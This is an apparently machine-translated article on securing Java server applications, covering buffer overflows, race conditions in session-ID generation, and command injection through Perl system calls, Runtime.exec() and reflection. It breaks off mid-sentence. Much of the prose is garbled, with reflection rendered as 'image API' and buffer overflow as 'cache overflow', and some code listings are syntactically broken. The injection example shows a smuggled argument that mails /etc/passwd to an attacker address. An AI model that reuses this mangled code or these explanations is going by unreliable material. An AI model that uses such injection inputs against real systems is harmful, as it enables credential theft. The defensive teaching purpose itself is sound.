I. Overview Writing Secure Internet Application is not a light and easy thing: Just look at each professional bulletin board can find a continuous security vulnerability report. How do you guarantee your own Internet app is not like other people's apps? How do you guarantee that your name does not appear in a uncomfortable major security incident report? If you use Java Servlet, JavaServer Pages (JSP), or EJB, many difficult problems have been resolved in advance. Of course, the vulnerability is still possible. Let's take a look at what these vulnerabilities are, and why Java programmers don't have to worry about the problem of some C and Perl programmers must face. C programmers should be familiar with security vulnerabilities, but engineering such as OpenBSD provides security systems that handle such issues. Java language handles this problem with this problem 20 years, but on the other hand, Java is born as a client programming language, and the client's requirements are much more demanding than the server. It means that Java's development has a solid security basis. Java original positioning goals are browser. However, although the Java virtual machine belled in the browser itself is very good, it is not perfect. Sun's "Chronology of Security-Related Bug and Issues" summarizes the vulnerability discovery history of the runtime environment. We know that these vulnerabilities cannot be used as an attack tool when Java is used as a server-side programming language. However, even if Java serves as a client programming language, the number of major security issues has also dropped from 6 in 1996 (three of whom are quite serious) to 1 2000. However, this safety relative increase does not mean that Java is absolutely safe as a server-side programming language, which means that the attack means that the attacker can use is getting more and more restrictions. So, what places are easy to attack, how do other programming languages face similar problems? Second, the cache overflows in the C program, cache overflow is the most common security hazard. The cache overflow appears when the user input exceeds the assigned memory space (exclusive for user input). Cache overflow may become a key factor that caused application coverage. The C procedure is easy to cache, but the Java program is almost impossible to cache. C code read from the input stream input data is usually as follows: CHAR BUFFER [1000]; int Len = read (buffer); due to the size of the cache before reading data, the system is to check if the cache is enough. It is very difficult. The cache overflow enables the user to overwrite the key part of the program data structure, resulting in a secure hidden danger. Experienced attackers can use this to directly insert code and data into the running program. In Java, we generally save user input with a string instead of a character array. Java code equivalent to the front C code is as follows: string buffer = in.readline (); "Cache" size is always identical to the size of the input content. Since the Java string cannot be changed after the creation, the cache overflow is impossible. Take another step, even if you use a character number to replace the string as a cache, Java is not like C, which is easy to produce security vulnerabilities that can be utilized by an attacker. For example, the Java code below will generate overflow: char [] bad = new char [6]; bad [7] = 50; this code always throws a java.lang.Arrayoutofboundsexception exception, and this exception can be self-contained Capture: try {char [] Bad = new char [6]; BAD [7] = 50;} Catch (arrayoutofboundsexception ex) {...} This processing process will never lead to unpredictable behavior.
No matter what method, we always get an ARRAYOUTOFBOUNDSEXCEPTION, while the underlying environment of Java can protect itself from any infringement. In general, when using the Java string type to handle strings, we don't have to worry about the arrayoutofboundsexceptions of strings, so it is a more ideal choice. Java programming mode fundamentally changes the processing method of the user input, avoiding the input cache overflow, so that the Java programmer gets rid of the most dangerous programming vulnerability. Third, the competitive state competition status is Race Condition, which is the most common application security vulnerability in the second class. Creating (Change) resources to modify resources to disable critical moments of resource access, if a process is allowed to access resources, there is a competitive state. The key issue here is that if a task consists of two an indispensable steps, no matter how much you want these two steps, the operating system does not guarantee this. For example, in the database, the transaction mechanism makes two independent events "atomicize". In other words, a process creates a file, then modify the permissions of this file to prohibiting regular access; at the same time, another process without privileges can handle the file, deceive the privileged process incorrectly modify the file, or after the permission setting is completed The original file will continue to be accessed. Generally, in a standard UNIX and NT environment, some high priority processes can insert themselves between the tasks, but such a process does not exist on the Java server; at the same time, use pure Java to write The program is also impossible to modify the license permission of the file. Therefore, most competitive states caused by file access will not appear in Java, but this does not mean that Java completely got rid of this problem, but it is only the problem to enter the virtual machine. Let's take a look at how other development platform handle this problem. In UNIX, we must ensure that the default file creation mode is secure, such as executing "Umask 200" command before the server is started. For more information on umask, perform "Man Umask" view Umask's Man documentation on the command line of the UNIX system. In the NT environment, we must operate the security tag of the ACL (Access Control Table, Access Control List, protect the directory where you want to create the file below. NT new files generally inherit access licenses from its parent directory. See the NT document for more information. Most of the competition in Java appears in the critical code area. For example, in the user login process, the system must generate a unique number as an identifier of the user session. To do this, the system first generates a random number, and then checks if this number has been used by other users in the data structure such as the hash table. If this number is not used by other users, put it in the hash table to prevent other users from being used. The code is like Listing 1: (LISTING 1) / / Save the logged in user IDHASHTABLE HASH; // Random Digital Builder Random Rand; // Generate a Random Digital Integer ID = New Integer (Rand.NextINT ()); while (Hash.Containskey (ID)) {id = new integer (rand.nextint ());} // Prevent the current user to reserve this idhash.put (ID, data); Listing 1 code may bring a serious problem: If there are two threads execute the code of the Listing 1, one of the threads is re-scheduled before the Hash.Put (...) line code. At this time, the same random ID may be used twice. In Java, we have two ways to solve this problem.
First, the code of Listing 1 can be rewritten into the form of Listing 2, ensuring that only one thread can perform critical code segments to prevent threads from re-scheduled, avoiding the appearance of competitive states. Second, if the previous code is part of the EJB server, we'd better have a unique ID service using the EJB server thread control mechanism. (Listing 2) Synchronized (Hash) {// Generates a unique random number integer ID = new integer ()); while (hash.containskey (id)) {id = new integer () );} // Reserve the idhash.put (ID, data);} four, string interpretation execution In some programming languages, enter a special function in the input string, and the deceived server makes it performed. Excessive action. The following Perl code is an example: $ data = "mail body"; system ("/ usr / sbin / sendmail -t $ 1 <$ data"); Obviously, these code can be used as part of the CGI program, or from command Conditioning. Typically, it can be called as follows: Perl script.pl honest@true.com It will send a message (ie "mail body") to the user honest@true.com. This example is simple, but we can attack as follows: Perl script.pl honest@true.com; mailcheat@liarandthief.com etc / passwd This command sends a blank mail to honest@true.com, The system password file is sent to Cheat@liarandthief.com. If these codes are part of the CGI program, it will bring a significant threat to the security of the server. Perl programmers often use external programs (such as Sendmail) to avoid the ability to implement external programs with scripts. However, Java has a fairly perfect API. For example, the JavaMail API is a good API for email. However, if you are lazy, you want to send an email with an external mail sender: Runtime.Getruntime (). EXEC ("/ usr / sbin / sendmail -t $ retarddr <$ data"); in fact, this is not good. Java generally does not allow the structure symbol such as "<" and ";" as part of Runtime.exec (). You may try to solve this problem with the following method: Runtime.Getruntime (). EXEC ("SH / USR / SBIN / Sendmail -t $ Retdr <$ data"); however, this code is unsafe, it put The danger of the previous Perl code is brought into the Java program. Solving the problem in accordance with the conventional Java method Sometimes it seems to be complicated than the way, but it almost always has better portability, scalability, and safer, and less errors. Runtime.exec () is just a simple example of the problem, and many other situations are more complex and more concealed. Let us consider the Java image API (Reflection API). Java Image API allows us to decide which method of calling an object at runtime. Any timing of the user input command as an image lookup condition may become the security weakness of the system.
For example, the following code is possible to generate such problems: method m = bean.getClass (). GetMethod (action, new class [] {}); M.Invoke (bean, new object [] {}); if " The value of an action allows the user to change, here should pay special attention. Note that this phenomenon may appear in some strange places - perhaps the most strange place is JSP. Most JSP engines use the image API implementation: